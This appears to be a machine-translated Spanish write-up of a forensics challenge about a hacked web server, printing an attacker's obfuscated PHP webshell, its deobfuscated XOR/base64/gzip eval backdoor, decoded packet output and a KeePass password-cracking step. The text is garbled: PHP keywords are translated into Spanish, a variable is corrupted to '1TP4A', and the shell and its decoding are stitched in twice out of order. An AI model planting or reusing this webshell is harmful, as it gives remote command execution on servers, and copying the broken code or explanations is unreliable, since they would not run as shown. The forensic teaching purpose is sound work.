Cubrimos un escenario de respuesta a incidentes que implicaba el uso de habilidades forenses para investigar un servidor web pirateado mediante la explotación de una vulnerabilidad de carga de archivos. Se nos proporcionó el webshell que utilizó el atacante junto con un archivo de volcado de paquetes que incluía los paquetes intercambiados entre el atacante y el servidor web mientras estaban ejecutando comandos.
Decodificamos el script usando base64, cifrado XOR y compresión Gzip para descubrir los comandos que ejecutó el atacante junto con el resultado recibido.
Descubrimos que el atacante descargó un archivo Keepass codificado con base64, por lo que usamos keepass2john para extraer el hash y john the ripper para encontrar la contraseña de la base de datos de contraseñas que contenía la bandera.
Obtenga notas de informática forense
El curso completo y práctico de pruebas de penetración de aplicaciones web
Descripción del desafío
Un atacante ha encontrado una vulnerabilidad en nuestro servidor web que permite la carga de archivos PHP arbitrarios en nuestro servidor Apache. De esta manera, el hacker ha subido lo que parece ser un shell ofuscado (support.php). Monitoreamos nuestra red las 24 horas del día, los 7 días de la semana y generamos registros desde tcpdump (proporcionamos el archivo de registro durante un período de dos minutos antes de finalizar el servicio HTTP para su investigación), sin embargo, necesitamos su ayuda para analizar e identificar los comandos que el atacante escribió para comprender. lo que estaba comprometido.
Vídeos destacados
El script php webshell ofuscado se encuentra a continuación
<?php$V='$k="80eu)u)32263";$khu)=u)"6f8af44u)abea0";$kf=u)"35103u)u)9f4a7b5";$pu)="0UlYu)yJHG87Eu)JqEz6u)"u)u );función u)x(
Después de la desofuscación se vuelve
$k=”80e32263”;
$kh=”6f8af44abea0″;
$kf=”351039f4a7b5”;
$p=”0UlYyJHG87EJqEz6”;
función x($t,$k){
$c=strelen($k);
$l=strelen($t);
1TP4A=””;
para($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
devolver 1TP4A;
}
if(@preg_match(“/$kh(.+)$kf/”,@file_get_contents(“php://input”),$m)==1){
@ob_start();
@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
$o=@ob_get_contents();
@ob_end_clean();
$r=@base64_encode(@x(@gzcompress($o),$k));
imprimir(“$p$kh$r$kf”);
}
Podemos seguir el proceso inverso al anterior para decodificar la salida recibida por el atacante (que se muestra en el wireshark).
@gzuncompress(@x(@base64_decode($encoded),$k));
Por ejemplo, el siguiente resultado se observa en el primer paquete de Wireshark.
0UlYyJHG87EJqEz66f8af44abea0QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPUmHTy351039f4a7b5
Si le quitamos el $p, $kh y $kf, podemos terminar con $r
QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPUmHTy
Lo anterior corresponde al resultado siguiente (el resultado del comando id)
uid=33(www-datos) gid=33(www-datos) grupos=33(www-datos)
Tutorial en vídeo
https://www.youtube.com/watch?v=VSgdzLoCWl0
;$P='++)u){$o.=u)$t{u)$i}^$k{$j};}}u)retuu)rn $o;}u)if(u)@pregu)_u)match(" /$kh(.u)+)$kf/",@u)u)file_u)getu)_cu)ontents(';$d='u)t,$k){u)$c=strlu)en($k);$l=strlenu)($t)u);u)$o=""u);for($i=0u);u)$i <$l;){for(u)$j=0;(u)$u)j<$c&&$i<$l)u)u);$j++,$i';$B='ob_get_cou)ntu)ents();@obu)_end_cleu)anu)();$r=@basu)e64_eu)ncu)ode(@x(@gzu)compress(u)$o),u)$k)) ;pru)u)int(u)"$p$kh$r$kf");}';$N=str_replace('FD','','FDcreFDateFD_fFDuncFDFDtion');$c='"php://u)entrada"),$u)m)==1){@u)obu)_start();u)@evau)l(@gzuu)ncu)ompress(@x(@ bau)se64_u)decodu)e($u)m[1]),$k))u));$u)ou)=@';$u=str_replace('u)','',$V.$d.$P.$c.$B);$x=$N('',$u);$x();?>
Después de la desofuscación se vuelve
$k=”80e32263”;
$kh=”6f8af44abea0″;
$kf=”351039f4a7b5”;
$p=”0UlYyJHG87EJqEz6”;
función x($t,$k){
$c=strelen($k);
$l=strelen($t);
1TP4A=””;
para($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
devolver 1TP4A;
}
if(@preg_match(“/$kh(.+)$kf/”,@file_get_contents(“php://input”),$m)==1){
@ob_start();
@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
$o=@ob_get_contents();
@ob_end_clean();
$r=@base64_encode(@x(@gzcompress($o),$k));
imprimir(“$p$kh$r$kf”);
}
Podemos seguir el proceso inverso al anterior para decodificar la salida recibida por el atacante (que se muestra en el wireshark).
@gzuncompress(@x(@base64_decode($encoded),$k));
Por ejemplo, el siguiente resultado se observa en el primer paquete de Wireshark.
0UlYyJHG87EJqEz66f8af44abea0QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPUmHTy351039f4a7b5
Si le quitamos el $p, $kh y $kf, podemos terminar con $r
QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPUmHTy
Lo anterior corresponde al resultado siguiente (el resultado del comando id)
Tutorial en vídeo